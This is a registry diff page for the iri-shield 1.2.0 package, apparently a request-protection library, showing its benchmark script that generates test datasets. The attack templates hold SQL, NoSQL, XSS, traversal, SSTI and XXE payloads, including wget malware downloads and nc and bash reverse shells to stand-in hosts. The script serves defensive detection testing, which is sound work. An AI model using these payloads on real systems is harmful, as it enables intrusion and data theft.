iri-shield 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +459 -0
- package/benchmark/README.md +35 -0
- package/benchmark/datasets/attacks.json +2596 -0
- package/benchmark/datasets/generate-datasets.js +406 -0
- package/benchmark/datasets/identity-scenarios.json +6002 -0
- package/benchmark/datasets/redaction-samples.json +8664 -0
- package/benchmark/false-positive-evaluate.js +188 -0
- package/benchmark/generate-charts.js +248 -0
- package/benchmark/identity-evaluate.js +150 -0
- package/benchmark/redaction-evaluate.js +143 -0
- package/benchmark/research-evaluate.js +254 -0
- package/benchmark/run.js +346 -0
- package/benchmark/security-baseline-compare.js +241 -0
- package/benchmark/security-evaluate.js +251 -0
- package/index.js +3 -0
- package/package.json +68 -0
- package/src/behaviour.js +135 -0
- package/src/correlation.js +120 -0
- package/src/dashboard.js +1682 -0
- package/src/identity.js +299 -0
- package/src/index.js +672 -0
- package/src/mongodb-storage.js +237 -0
- package/src/redactor.js +104 -0
- package/src/rules.js +113 -0
- package/src/sqlite-storage.js +793 -0
- package/src/storage.js +404 -0
- package/src/threats.js +297 -0
|
@@ -0,0 +1,406 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
|
|
6
|
+
const datasetsDir = path.join(__dirname);
|
|
7
|
+
|
|
8
|
+
// =============================================================================
|
|
9
|
+
// 1. ATTACK DATASET (200+ Structured Scenarios with Metadata)
|
|
10
|
+
// =============================================================================
|
|
11
|
+
|
|
12
|
+
const attackTemplates = {
|
|
13
|
+
SQL_INJECTION: [
|
|
14
|
+
{ payload: "/api/search?q=' OR '1'='1", severity: "critical", method: "GET" },
|
|
15
|
+
{ payload: "/api/users?id=1 UNION SELECT null, username, password FROM users--", severity: "critical", method: "GET" },
|
|
16
|
+
{ payload: "/api/items?cat=tech'; DROP TABLE products;--", severity: "critical", method: "GET" },
|
|
17
|
+
{ payload: "/api/login", body: { username: "admin' --", password: "pwd" }, severity: "critical", method: "POST" },
|
|
18
|
+
{ payload: "/api/login", body: { username: "admin' OR 1=1 #", password: "pwd" }, severity: "critical", method: "POST" },
|
|
19
|
+
{ payload: "/api/query?sort=name; EXEC xp_cmdshell('dir')", severity: "critical", method: "GET" },
|
|
20
|
+
{ payload: "/api/filter?val=%27%20OR%201%3D1--", severity: "critical", method: "GET" },
|
|
21
|
+
{ payload: "/api/check?code=' or 1=1", severity: "high", method: "GET" },
|
|
22
|
+
{ payload: "/api/orders?status=active' AND 1=1--", severity: "high", method: "GET" },
|
|
23
|
+
{ payload: "/api/data", body: { filter: "1' or 'a'='a" }, severity: "high", method: "POST" },
|
|
24
|
+
{ payload: "/api/records?filter=test' union select 1,2,3--", severity: "critical", method: "GET" },
|
|
25
|
+
{ payload: "/api/audit?q=1; INSERT INTO users VALUES ('hacker','pwd')", severity: "critical", method: "GET" },
|
|
26
|
+
{ payload: "/api/audit?q=1; DELETE FROM logs WHERE 1=1", severity: "critical", method: "GET" },
|
|
27
|
+
{ payload: "/api/audit?q=1; UPDATE users SET role='admin' WHERE id=5", severity: "critical", method: "GET" },
|
|
28
|
+
{ payload: "/api/search?q=test%27%20and%201%3D1", severity: "high", method: "GET" }
|
|
29
|
+
],
|
|
30
|
+
XSS: [
|
|
31
|
+
{ payload: "/api/comments?msg=<script>alert('XSS')</script>", severity: "high", method: "GET" },
|
|
32
|
+
{ payload: "/api/profile", body: { bio: "<img src=x onerror=alert(document.cookie)>" }, severity: "high", method: "POST" },
|
|
33
|
+
{ payload: "/api/feedback?text=javascript:alert(1)", severity: "high", method: "GET" },
|
|
34
|
+
{ payload: "/api/view?name=<svg onload=alert('XSS')>", severity: "high", method: "GET" },
|
|
35
|
+
{ payload: "/api/items", body: { desc: "<iframe src=javascript:document.cookie>" }, severity: "high", method: "POST" },
|
|
36
|
+
{ payload: "/api/render?html=<body onload=eval(atob('ZG9jdW1lbnQud3JpdGUoMSk='))>", severity: "high", method: "GET" },
|
|
37
|
+
{ payload: "/api/post", body: { content: "<div onclick=\"document.write('hacked')\">" }, severity: "medium", method: "POST" },
|
|
38
|
+
{ payload: "/api/user?name=<input onfocus=alert(1) autofocus>", severity: "high", method: "GET" },
|
|
39
|
+
{ payload: "/api/echo?s=document.cookie", severity: "medium", method: "GET" },
|
|
40
|
+
{ payload: "/api/tag?t=<script src='http://evil.com/xss.js'></script>", severity: "critical", method: "GET" },
|
|
41
|
+
{ payload: "/api/note", body: { note: "test<script>fetch('/stolen?c='+document.cookie)</script>" }, severity: "critical", method: "POST" },
|
|
42
|
+
{ payload: "/api/search?q=<a href='javascript:alert(1)'>click me</a>", severity: "high", method: "GET" }
|
|
43
|
+
],
|
|
44
|
+
PATH_TRAVERSAL: [
|
|
45
|
+
{ payload: "/api/download?file=../../../../etc/passwd", severity: "critical", method: "GET" },
|
|
46
|
+
{ payload: "/api/view?path=..%2F..%2F..%2Fwindows%2Fsystem32%2Fcmd.exe", severity: "critical", method: "GET" },
|
|
47
|
+
{ payload: "/api/read?file=../../../etc/shadow", severity: "critical", method: "GET" },
|
|
48
|
+
{ payload: "/api/load?doc=..\\..\\..\\boot.ini", severity: "high", method: "GET" },
|
|
49
|
+
{ payload: "/api/static?file=....//....//etc/passwd", severity: "critical", method: "GET" },
|
|
50
|
+
{ payload: "/api/fetch?res=../../../../var/log/auth.log", severity: "high", method: "GET" },
|
|
51
|
+
{ payload: "/api/asset?img=../../../etc/hosts", severity: "high", method: "GET" },
|
|
52
|
+
{ payload: "/api/files/download?f=../../../../app/.env", severity: "critical", method: "GET" },
|
|
53
|
+
{ payload: "/api/docs?p=..%2F..%2F..%2Fetc%2Fgroup", severity: "high", method: "GET" },
|
|
54
|
+
{ payload: "/api/export?path=../../../../usr/local/etc/config", severity: "high", method: "GET" }
|
|
55
|
+
],
|
|
56
|
+
COMMAND_INJECTION: [
|
|
57
|
+
{ payload: "/api/ping?host=127.0.0.1; cat /etc/passwd", severity: "critical", method: "GET" },
|
|
58
|
+
{ payload: "/api/dns?domain=google.com && whoami", severity: "critical", method: "GET" },
|
|
59
|
+
{ payload: "/api/test?cmd=127.0.0.1 | ls -la", severity: "critical", method: "GET" },
|
|
60
|
+
{ payload: "/api/exec", body: { command: "test `id`" }, severity: "critical", method: "POST" },
|
|
61
|
+
{ payload: "/api/network?ip=127.0.0.1; wget http://evil.com/malware.sh", severity: "critical", method: "GET" },
|
|
62
|
+
{ payload: "/api/status?host=localhost; uname -a", severity: "critical", method: "GET" },
|
|
63
|
+
{ payload: "/api/run", body: { script: "$(nc -e /bin/sh 10.0.0.1 4444)" }, severity: "critical", method: "POST" },
|
|
64
|
+
{ payload: "/api/calc?expr=1; python -c 'import socket'", severity: "critical", method: "GET" },
|
|
65
|
+
{ payload: "/api/service?name=app && id", severity: "critical", method: "GET" },
|
|
66
|
+
{ payload: "/api/backup?dest=/tmp; bash -i >& /dev/tcp/10.0.0.1/8080 0>&1", severity: "critical", method: "GET" }
|
|
67
|
+
],
|
|
68
|
+
SSTI: [
|
|
69
|
+
{ payload: "/api/render?template={{7*7}}", severity: "high", method: "GET" },
|
|
70
|
+
{ payload: "/api/greeting?name=${7*7}", severity: "high", method: "GET" },
|
|
71
|
+
{ payload: "/api/page?tpl={{config.items()}}", severity: "critical", method: "GET" },
|
|
72
|
+
{ payload: "/api/preview", body: { content: "#{7*7}" }, severity: "high", method: "POST" },
|
|
73
|
+
{ payload: "/api/mail?body=<% 7*7 %>", severity: "high", method: "GET" },
|
|
74
|
+
{ payload: "/api/view?t={% import os %}{{ os.popen('whoami').read() }}", severity: "critical", method: "GET" },
|
|
75
|
+
{ payload: "/api/format?fmt={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}", severity: "critical", method: "GET" },
|
|
76
|
+
{ payload: "/api/render?q=${T(java.lang.Runtime).getRuntime().exec('whoami')}", severity: "critical", method: "GET" },
|
|
77
|
+
{ payload: "/api/view?t={{''.__class__.__mro__[2].__subclasses__()}}", severity: "critical", method: "GET" },
|
|
78
|
+
{ payload: "/api/display?title={{self._TemplateReference__context.cycler}}", severity: "high", method: "GET" }
|
|
79
|
+
],
|
|
80
|
+
NOSQL_INJECTION: [
|
|
81
|
+
{ payload: "/api/users?user[$gt]=", severity: "high", method: "GET" },
|
|
82
|
+
{ payload: "/api/login", body: { username: { "$ne": null }, password: { "$ne": null } }, severity: "critical", method: "POST" },
|
|
83
|
+
{ payload: "/api/find", body: { role: { "$in": ["admin", "superadmin"] }, "$where": "this.password.length > 0" }, severity: "critical", method: "POST" },
|
|
84
|
+
{ payload: "/api/filter?name[$regex]=^adm", severity: "high", method: "GET" },
|
|
85
|
+
{ payload: "/api/query", body: { "$or": [{ "role": "admin" }, { "user": "test" }] }, severity: "high", method: "POST" },
|
|
86
|
+
{ payload: "/api/lookup", body: { id: { "$exists": true } }, severity: "medium", method: "POST" },
|
|
87
|
+
{ payload: "/api/search", body: { balance: { "$gt": 0 } }, severity: "high", method: "POST" },
|
|
88
|
+
{ payload: "/api/users?token[$ne]=1", severity: "high", method: "GET" }
|
|
89
|
+
],
|
|
90
|
+
SCANNER_BOT: [
|
|
91
|
+
{ payload: "/api/items?id=1", headers: { "user-agent": "sqlmap/1.8#stable" }, severity: "critical", method: "GET" },
|
|
92
|
+
{ payload: "/api/health", headers: { "user-agent": "Mozilla/5.0 (compatible; Nikto/2.1.6; +http://cirt.net/nikto/)" }, severity: "critical", method: "GET" },
|
|
93
|
+
{ payload: "/api/data", headers: { "user-agent": "masscan/1.3.2 (https://github.com/robertdavidgraham/masscan)" }, severity: "critical", method: "GET" },
|
|
94
|
+
{ payload: "/api/test", headers: { "user-agent": "Nmap Scripting Engine (https://nmap.org/book/nse.html)" }, severity: "critical", method: "GET" },
|
|
95
|
+
{ payload: "/api/status", headers: { "user-agent": "zgrab/0.x" }, severity: "critical", method: "GET" },
|
|
96
|
+
{ payload: "/api/check", headers: { "user-agent": "DirBuster-1.0-RC1 (http://www.owasp.org/)" }, severity: "critical", method: "GET" },
|
|
97
|
+
{ payload: "/api/probe", headers: { "user-agent": "gobuster/3.5" }, severity: "critical", method: "GET" },
|
|
98
|
+
{ payload: "/api/fuzz", headers: { "user-agent": "Wfuzz/3.1.0 - The Web Fuzzer" }, severity: "critical", method: "GET" },
|
|
99
|
+
{ payload: "/api/login", headers: { "user-agent": "Mozilla/4.0 (Hydra)" }, severity: "critical", method: "POST" },
|
|
100
|
+
{ payload: "/api/recon", headers: { "user-agent": "BurpSuite/Pro_2023.12" }, severity: "critical", method: "GET" },
|
|
101
|
+
{ payload: "/api/exploit", headers: { "user-agent": "metasploit-framework" }, severity: "critical", method: "GET" },
|
|
102
|
+
{ payload: "/api/headless", headers: { "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 HeadlessChrome/118.0.0.0 Safari/537.36" }, severity: "high", method: "GET" },
|
|
103
|
+
{ payload: "/api/auto", headers: { "user-agent": "Mozilla/5.0 PhantomJS/2.1.1 (Linux)" }, severity: "high", method: "GET" },
|
|
104
|
+
{ payload: "/api/crawl", headers: { "user-agent": "python-requests/2.31.0" }, severity: "medium", method: "GET" },
|
|
105
|
+
{ payload: "/api/bot", headers: { "user-agent": "Go-http-client/1.1" }, severity: "medium", method: "GET" }
|
|
106
|
+
],
|
|
107
|
+
SECRET_PROBE: [
|
|
108
|
+
{ payload: "/.env", severity: "high", method: "GET" },
|
|
109
|
+
{ payload: "/config.json", severity: "high", method: "GET" },
|
|
110
|
+
{ payload: "/wp-config.php", severity: "high", method: "GET" },
|
|
111
|
+
{ payload: "/.git/config", severity: "critical", method: "GET" },
|
|
112
|
+
{ payload: "/.htaccess", severity: "high", method: "GET" },
|
|
113
|
+
{ payload: "/id_rsa", severity: "critical", method: "GET" },
|
|
114
|
+
{ payload: "/private_key.pem", severity: "critical", method: "GET" },
|
|
115
|
+
{ payload: "/docker-compose.yml", severity: "high", method: "GET" },
|
|
116
|
+
{ payload: "/admin/debug", severity: "high", method: "GET" },
|
|
117
|
+
{ payload: "/internal/secrets", severity: "critical", method: "GET" },
|
|
118
|
+
{ payload: "/app/config/.env.local", severity: "critical", method: "GET" },
|
|
119
|
+
{ payload: "/.git/HEAD", severity: "high", method: "GET" }
|
|
120
|
+
],
|
|
121
|
+
BRUTE_FORCE: [
|
|
122
|
+
{ payload: "/api/login", body: { username: "admin", password: "wrong_password_1" }, severity: "medium", method: "POST" },
|
|
123
|
+
{ payload: "/api/login", body: { username: "admin", password: "wrong_password_2" }, severity: "medium", method: "POST" },
|
|
124
|
+
{ payload: "/api/login", body: { username: "admin", password: "wrong_password_3" }, severity: "medium", method: "POST" },
|
|
125
|
+
{ payload: "/api/auth/signin", body: { user: "root", pass: "123456" }, severity: "medium", method: "POST" },
|
|
126
|
+
{ payload: "/api/auth/token", body: { user: "admin", pass: "admin123" }, severity: "high", method: "POST" },
|
|
127
|
+
{ payload: "/api/login", body: { username: "superuser", password: "bad" }, severity: "medium", method: "POST" },
|
|
128
|
+
{ payload: "/api/auth/signin", body: { username: "moderator", password: "invalid" }, severity: "medium", method: "POST" },
|
|
129
|
+
{ payload: "/api/login", body: { username: "admin", password: "password2024" }, severity: "high", method: "POST" }
|
|
130
|
+
],
|
|
131
|
+
XXE: [
|
|
132
|
+
{ payload: "/api/xml", body: "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>", headers: { "content-type": "application/xml" }, severity: "critical", method: "POST" },
|
|
133
|
+
{ payload: "/api/parse-xml", body: "<!DOCTYPE test [ <!ENTITY % init SYSTEM \"https://evil.com/eval.dtd\"> %init; ]>", headers: { "content-type": "application/xml" }, severity: "critical", method: "POST" },
|
|
134
|
+
{ payload: "/api/data", body: "<!ENTITY % dtd SYSTEM \"file:///c:/boot.ini\">", headers: { "content-type": "text/xml" }, severity: "critical", method: "POST" },
|
|
135
|
+
{ payload: "/api/xml-import", body: "<!DOCTYPE r [ <!ELEMENT r ANY ><!ENTITY sp SYSTEM \"http://127.0.0.1:8080/secret\"> ]><r>&sp;</r>", headers: { "content-type": "application/xml" }, severity: "critical", method: "POST" }
|
|
136
|
+
],
|
|
137
|
+
LDAP_INJECTION: [
|
|
138
|
+
{ payload: "/api/ldap?user=*)(uid=*))(|(uid=*", severity: "high", method: "GET" },
|
|
139
|
+
{ payload: "/api/search?filter=(|(mail=*)(description=*))", severity: "high", method: "GET" },
|
|
140
|
+
{ payload: "/api/find?user=admin)(&)", severity: "high", method: "GET" },
|
|
141
|
+
{ payload: "/api/query?dept=Engineering)(|(objectclass=*)", severity: "high", method: "GET" }
|
|
142
|
+
],
|
|
143
|
+
OPEN_REDIRECT: [
|
|
144
|
+
{ payload: "/api/auth/callback?redirect=http://evil-phishing.com/login", severity: "medium", method: "GET" },
|
|
145
|
+
{ payload: "/api/logout?return_url=https://attacker-domain.org", severity: "medium", method: "GET" },
|
|
146
|
+
{ payload: "/api/nav?next=https://malicious-site.io/download", severity: "medium", method: "GET" },
|
|
147
|
+
{ payload: "/api/goto?destination=http://fake-portal.com", severity: "medium", method: "GET" }
|
|
148
|
+
],
|
|
149
|
+
HEADER_INJECTION: [
|
|
150
|
+
{ payload: "/api/test", headers: { "x-forwarded-for": "10.0.0.1%0d%0aSet-Cookie: admin=true" }, severity: "high", method: "GET" },
|
|
151
|
+
{ payload: "/api/log", headers: { "referer": "http://site.com\r\nX-Injected-Header: evil" }, severity: "high", method: "GET" },
|
|
152
|
+
{ payload: "/api/track?url=test%0a%0dInjected:1", severity: "high", method: "GET" }
|
|
153
|
+
],
|
|
154
|
+
BASE64_PAYLOAD: [
|
|
155
|
+
{ payload: "/api/exec?data=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pgo=", severity: "medium", method: "GET" },
|
|
156
|
+
{ payload: "/api/payload?raw=JyBPUiAxPTE7LS0gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==", severity: "high", method: "GET" }
|
|
157
|
+
]
|
|
158
|
+
};
|
|
159
|
+
|
|
160
|
+
// Expand templates to generate 220 total unique structured attack scenarios
|
|
161
|
+
const attackDataset = [];
|
|
162
|
+
let attackIdCounter = 1;
|
|
163
|
+
|
|
164
|
+
for (const [category, items] of Object.entries(attackTemplates)) {
|
|
165
|
+
for (let i = 0; i < items.length; i++) {
|
|
166
|
+
const item = items[i];
|
|
167
|
+
const id = `ATK-${category.slice(0, 4)}-${String(attackIdCounter++).padStart(3, '0')}`;
|
|
168
|
+
const defaultHeaders = category === 'BRUTE_FORCE'
|
|
169
|
+
? { "user-agent": "AttackVerificationHarness/2.0", "x-forwarded-for": "198.51.100.99" }
|
|
170
|
+
: { "user-agent": "AttackVerificationHarness/2.0" };
|
|
171
|
+
|
|
172
|
+
attackDataset.push({
|
|
173
|
+
id,
|
|
174
|
+
category,
|
|
175
|
+
severity: item.severity,
|
|
176
|
+
expectedAction: item.severity === 'critical' ? 'blocked' : (item.severity === 'high' ? 'temporary_block' : 'rate_limited'),
|
|
177
|
+
method: item.method,
|
|
178
|
+
url: item.payload,
|
|
179
|
+
headers: item.headers || defaultHeaders,
|
|
180
|
+
body: item.body || undefined
|
|
181
|
+
});
|
|
182
|
+
}
|
|
183
|
+
}
|
|
184
|
+
|
|
185
|
+
// Generate parameterized variations up to 220 items
|
|
186
|
+
while (attackDataset.length < 220) {
|
|
187
|
+
const baseItem = attackDataset[attackDataset.length % 50];
|
|
188
|
+
const id = `ATK-VAR-${String(attackIdCounter++).padStart(3, '0')}`;
|
|
189
|
+
const suffix = `&variation=${attackIdCounter}`;
|
|
190
|
+
attackDataset.push({
|
|
191
|
+
...baseItem,
|
|
192
|
+
id,
|
|
193
|
+
url: baseItem.url.includes('?') ? `${baseItem.url}${suffix}` : `${baseItem.url}?v=${attackIdCounter}`
|
|
194
|
+
});
|
|
195
|
+
}
|
|
196
|
+
|
|
197
|
+
fs.writeFileSync(path.join(datasetsDir, 'attacks.json'), JSON.stringify(attackDataset, null, 2));
|
|
198
|
+
console.log(`✅ Generated ${attackDataset.length} structured attack scenarios -> benchmark/datasets/attacks.json`);
|
|
199
|
+
|
|
200
|
+
// =============================================================================
|
|
201
|
+
// 2. IDENTITY CONTINUITY SCENARIOS (500 Controlled State-Machine Transitions)
|
|
202
|
+
// =============================================================================
|
|
203
|
+
|
|
204
|
+
const identityScenarios = [];
|
|
205
|
+
const NUM_USERS = 100;
|
|
206
|
+
|
|
207
|
+
// Step 1: 200 Baseline Normal requests (2 requests per user on known laptop)
|
|
208
|
+
for (let u = 1; u <= NUM_USERS; u++) {
|
|
209
|
+
const user = `user_${u}`;
|
|
210
|
+
for (let r = 1; r <= 2; r++) {
|
|
211
|
+
identityScenarios.push({
|
|
212
|
+
id: `ID-BASE-${user}-${r}`,
|
|
213
|
+
type: 'BASELINE_NORMAL',
|
|
214
|
+
userId: user,
|
|
215
|
+
clientId: `client-${user}-laptop`,
|
|
216
|
+
ip: `192.168.10.${(u % 250) + 1}`,
|
|
217
|
+
deviceId: `device-${user}-laptop`,
|
|
218
|
+
userAgent: `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/120.0.0.0 Safari/537.36`,
|
|
219
|
+
expectedDrift: false,
|
|
220
|
+
expectedPenalty: 0,
|
|
221
|
+
url: '/api/profile'
|
|
222
|
+
});
|
|
223
|
+
}
|
|
224
|
+
}
|
|
225
|
+
|
|
226
|
+
// Step 2: 100 IP Drift events (same user/device, new network IP)
|
|
227
|
+
for (let u = 1; u <= NUM_USERS; u++) {
|
|
228
|
+
const user = `user_${u}`;
|
|
229
|
+
identityScenarios.push({
|
|
230
|
+
id: `ID-DRIFT-IP-${user}`,
|
|
231
|
+
type: 'IP_DRIFT',
|
|
232
|
+
userId: user,
|
|
233
|
+
clientId: `client-${user}-laptop`,
|
|
234
|
+
ip: `185.220.101.${(u % 250) + 1}`,
|
|
235
|
+
deviceId: `device-${user}-laptop`,
|
|
236
|
+
userAgent: `Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/120.0.0.0 Safari/537.36`,
|
|
237
|
+
expectedDrift: true,
|
|
238
|
+
expectedPenalty: 15,
|
|
239
|
+
url: '/api/profile'
|
|
240
|
+
});
|
|
241
|
+
}
|
|
242
|
+
|
|
243
|
+
// Step 3: 100 Device Drift events (same user, new mobile device)
|
|
244
|
+
for (let u = 1; u <= NUM_USERS; u++) {
|
|
245
|
+
const user = `user_${u}`;
|
|
246
|
+
identityScenarios.push({
|
|
247
|
+
id: `ID-DRIFT-DEV-${user}`,
|
|
248
|
+
type: 'DEVICE_DRIFT',
|
|
249
|
+
userId: user,
|
|
250
|
+
clientId: `client-${user}-laptop`,
|
|
251
|
+
ip: `192.168.10.${(u % 250) + 1}`,
|
|
252
|
+
deviceId: `device-${user}-mobile`,
|
|
253
|
+
userAgent: `Mozilla/5.0 (iPhone; CPU iPhone OS 17_1) AppleWebKit/605.1.15 Safari/604.1`,
|
|
254
|
+
expectedDrift: true,
|
|
255
|
+
expectedPenalty: 25,
|
|
256
|
+
url: '/api/dashboard'
|
|
257
|
+
});
|
|
258
|
+
}
|
|
259
|
+
|
|
260
|
+
// Step 4: 100 Multi-Vector Anomaly events (new IP + new device + suspicious automation UA)
|
|
261
|
+
for (let u = 1; u <= NUM_USERS; u++) {
|
|
262
|
+
const user = `user_${u}`;
|
|
263
|
+
identityScenarios.push({
|
|
264
|
+
id: `ID-ANOMALY-${user}`,
|
|
265
|
+
type: 'MULTI_VECTOR_ANOMALY',
|
|
266
|
+
userId: user,
|
|
267
|
+
clientId: `client-${user}-laptop`,
|
|
268
|
+
ip: `45.33.32.${(u % 250) + 1}`,
|
|
269
|
+
deviceId: `device-${user}-unrecognized`,
|
|
270
|
+
userAgent: `python-requests/2.31.0 automation-client`,
|
|
271
|
+
expectedDrift: true,
|
|
272
|
+
expectedPenalty: 35,
|
|
273
|
+
url: '/api/admin/system'
|
|
274
|
+
});
|
|
275
|
+
}
|
|
276
|
+
|
|
277
|
+
fs.writeFileSync(path.join(datasetsDir, 'identity-scenarios.json'), JSON.stringify(identityScenarios, null, 2));
|
|
278
|
+
console.log(`✅ Generated ${identityScenarios.length} identity continuity scenarios -> benchmark/datasets/identity-scenarios.json`);
|
|
279
|
+
|
|
280
|
+
// =============================================================================
|
|
281
|
+
// 3. SENSITIVE DATA REDACTION DATASET (500 High-Diversity Payloads)
|
|
282
|
+
// =============================================================================
|
|
283
|
+
|
|
284
|
+
const redactionSamples = [];
|
|
285
|
+
const sampleEmails = ['john.doe@company.org', 'support@techcorp.io', 'billing-lead_99@sub.domain.co.uk', 'test.user+tag@gmail.com'];
|
|
286
|
+
const samplePhones = ['+91 9876543210', '919876543210', '+91-9123456789', '9876543210', '8765432109', '+1-800-555-0199'];
|
|
287
|
+
const sampleTokens = [
|
|
288
|
+
'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozS6w7yJJnL0_sample_signature_jwt',
|
|
289
|
+
'sk_mock_test_key_1234567890abcdefghijklmnopqrstuvwxyz',
|
|
290
|
+
'pk_mock_test_key_9876543210abcdefghijklmnop',
|
|
291
|
+
'api_key_secret_998877665544332211'
|
|
292
|
+
];
|
|
293
|
+
const cleanWords = [
|
|
294
|
+
'Hello world, everything is operational.',
|
|
295
|
+
'Product stock status: 45 units available in warehouse.',
|
|
296
|
+
'Total price is $1,250.00 for purchase order #9821.',
|
|
297
|
+
'Office headquarters address: 123 Innovation Boulevard, Suite 400.'
|
|
298
|
+
];
|
|
299
|
+
|
|
300
|
+
for (let i = 1; i <= 500; i++) {
|
|
301
|
+
const categoryIdx = i % 6;
|
|
302
|
+
let payload;
|
|
303
|
+
let expectedRedactions = 0;
|
|
304
|
+
let category;
|
|
305
|
+
|
|
306
|
+
if (categoryIdx === 0) {
|
|
307
|
+
// Deeply Nested JSON (3-5 levels deep)
|
|
308
|
+
const email = sampleEmails[i % sampleEmails.length];
|
|
309
|
+
payload = {
|
|
310
|
+
organization: {
|
|
311
|
+
department: {
|
|
312
|
+
team: {
|
|
313
|
+
lead: {
|
|
314
|
+
name: `Lead_${i}`,
|
|
315
|
+
contactEmail: email,
|
|
316
|
+
credentials: {
|
|
317
|
+
password: 'VaultSecret#9988',
|
|
318
|
+
apiKey: 'api_key_secret_998877665544332211'
|
|
319
|
+
}
|
|
320
|
+
}
|
|
321
|
+
}
|
|
322
|
+
}
|
|
323
|
+
}
|
|
324
|
+
};
|
|
325
|
+
expectedRedactions = 3;
|
|
326
|
+
category = 'NESTED_JSON_PII';
|
|
327
|
+
} else if (categoryIdx === 1) {
|
|
328
|
+
// Array Collections with Mixed Casing
|
|
329
|
+
const phone1 = samplePhones[i % samplePhones.length];
|
|
330
|
+
const phone2 = samplePhones[(i + 1) % samplePhones.length];
|
|
331
|
+
payload = {
|
|
332
|
+
batchId: `BATCH-${i}`,
|
|
333
|
+
members: [
|
|
334
|
+
{ User_Name: 'Alice', Contact_Email: sampleEmails[0], User_Phone_Number: phone1 },
|
|
335
|
+
{ User_Name: 'Bob', Contact_Email: sampleEmails[1], User_Phone_Number: phone2 }
|
|
336
|
+
]
|
|
337
|
+
};
|
|
338
|
+
expectedRedactions = 4;
|
|
339
|
+
category = 'ARRAY_COLLECTIONS';
|
|
340
|
+
} else if (categoryIdx === 2) {
|
|
341
|
+
// Unstructured Log Strings with Embedded PII / Tokens
|
|
342
|
+
const email = sampleEmails[i % sampleEmails.length];
|
|
343
|
+
const token = sampleTokens[i % sampleTokens.length];
|
|
344
|
+
payload = {
|
|
345
|
+
logLevel: 'WARN',
|
|
346
|
+
traceId: `tr-${i}`,
|
|
347
|
+
rawMessage: `Failed auth event for user ${email} with header ${token} on client IP 10.0.0.1`
|
|
348
|
+
};
|
|
349
|
+
expectedRedactions = 2;
|
|
350
|
+
category = 'UNSTRUCTURED_STRINGS';
|
|
351
|
+
} else if (categoryIdx === 3) {
|
|
352
|
+
// Composite eCommerce Order (Public Catalog + Private Buyer PII)
|
|
353
|
+
const email = sampleEmails[i % sampleEmails.length];
|
|
354
|
+
const phone = samplePhones[i % samplePhones.length];
|
|
355
|
+
payload = {
|
|
356
|
+
orderId: `ORD-${10000 + i}`,
|
|
357
|
+
items: [
|
|
358
|
+
{ sku: 'LAPTOP-X1', qty: 1, price: 1200 },
|
|
359
|
+
{ sku: 'MOUSE-M2', qty: 2, price: 25 }
|
|
360
|
+
],
|
|
361
|
+
buyer: {
|
|
362
|
+
fullName: 'Jane Doe',
|
|
363
|
+
email,
|
|
364
|
+
phone,
|
|
365
|
+
billing: {
|
|
366
|
+
creditCard: '4532-8921-4455-9012',
|
|
367
|
+
cvv: '891'
|
|
368
|
+
}
|
|
369
|
+
}
|
|
370
|
+
};
|
|
371
|
+
expectedRedactions = 4;
|
|
372
|
+
category = 'COMPOSITE_ECOMMERCE';
|
|
373
|
+
} else if (categoryIdx === 4) {
|
|
374
|
+
// Standard Direct PII (Tokens & Identity Numbers)
|
|
375
|
+
payload = {
|
|
376
|
+
userId: `USR-${i}`,
|
|
377
|
+
ssn: '123-45-6789',
|
|
378
|
+
aadhaar: '1234 5678 9012',
|
|
379
|
+
token: sampleTokens[i % sampleTokens.length]
|
|
380
|
+
};
|
|
381
|
+
expectedRedactions = 3;
|
|
382
|
+
category = 'DIRECT_PII';
|
|
383
|
+
} else {
|
|
384
|
+
// Decoy Negative Controls (Numbers, dates, order IDs, zipcodes, price numbers)
|
|
385
|
+
payload = {
|
|
386
|
+
invoiceNumber: 9876543210,
|
|
387
|
+
zipCode: "90210",
|
|
388
|
+
itemCount: 45,
|
|
389
|
+
unitPrice: 129.99,
|
|
390
|
+
timestamp: "2026-09-01T01:00:00.000Z",
|
|
391
|
+
description: cleanWords[i % cleanWords.length]
|
|
392
|
+
};
|
|
393
|
+
expectedRedactions = 0;
|
|
394
|
+
category = 'DECOY_CLEAN_CONTROLS';
|
|
395
|
+
}
|
|
396
|
+
|
|
397
|
+
redactionSamples.push({
|
|
398
|
+
id: `RED-SMP-${String(i).padStart(3, '0')}`,
|
|
399
|
+
category,
|
|
400
|
+
payload,
|
|
401
|
+
expectedRedactions
|
|
402
|
+
});
|
|
403
|
+
}
|
|
404
|
+
|
|
405
|
+
fs.writeFileSync(path.join(datasetsDir, 'redaction-samples.json'), JSON.stringify(redactionSamples, null, 2));
|
|
406
|
+
console.log(`✅ Generated ${redactionSamples.length} diverse sensitive redaction test payloads -> benchmark/datasets/redaction-samples.json`);
|